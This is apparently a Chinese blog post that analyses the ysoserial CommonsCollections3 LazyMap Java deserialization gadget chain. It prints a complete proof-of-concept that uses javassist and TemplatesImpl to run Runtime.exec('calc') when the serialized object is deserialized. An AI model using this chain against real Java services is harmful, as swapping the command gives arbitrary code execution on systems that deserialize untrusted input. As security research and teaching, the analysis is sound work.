ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。
其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
和另一条链的区别:
主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。
下图为LazyMap中的get方法

构造调用链
前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
利用LazyMap的decorate方法,把chain赋值给factory

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

所以利用反射构造方法传入this.memberValues=LazyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
再使用动态代理触发AnnotationInvocationHandler的invoke方法
复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
最终POC
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(anno2);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。
ysoserial CommonsColletions3分析(2)的更多相关文章
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
- ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
- ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- .user.ini和.htaccess
.user.ini .user.ini的使用条件 (1)nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法 php配置访问级别 不同的php配置项根据其访问级别具有不 ...
- C语言运算符(关系运算符)+(逻辑运算符)
下表显示了 C 语言支持的所有关系运算符.假设变量 A 的值为 10,变量 B 的值为 20,则: 实列: 1 #include <stdio.h> 2 3 int main() 4 { ...
- API文档生成(c# dll)
一.Sandcastle 这个是c#类库方法根据注释生成帮助文档的工具,我们经常会遇到把DLL或者API提供给别人调用的情况,通过在方法中添加注释,然后再用Sandcastle 来自动生成文档给调用者 ...
- Seaborn基础画图实例
使用seaborn画图时,经常不知道该该用什么函数.忘记函数的参数还有就是画出来的图单调不好看. 所以,本人对seaborn的一些常用的画图函数,并结合实例写成了代码,方便以后查询和记忆. 若代码或注 ...
- VIM正则表达式的懒惰模式
例如有如下一段话: Another whale sighting occurred on , <2004>. AK and HI 要匹配每一个<...>,如果用<.> ...
- spring-session-data-redis反序列化问题
springCloud项目,采用springSession,用户模块同时引入了spring-cloud-starter-security,在其他模块request.getSession()的时候抛了以 ...
- 不同JDK版本的流异常处理
1.JDK7以前的流异常try-catch处理 public static void main(String[] args) { FileInputStream fis = null; try { f ...
- Java Web JSTL实现登陆页面重定向 jstl标签
<form action="js/loginResult.jsp" class="loginForm" id="loginForm" ...
- noip8
T1 星际旅行 考试时觉得是道数学题,但没想到忘了欧拉路. 首先将每条边都拆成两条边,那么题目就变成了任意删掉两条边,使得新的图中存在欧拉路.设 \(sum\) 表示自环的数量, \(du_{i}\) ...
- 【AIOT】智能感知--物
From: https://liudongdong1.github.io/ 1. 物体检测 .1. 流体 D. V. Q. Rodrigues, D. Rodriguez and C. Li, &qu ...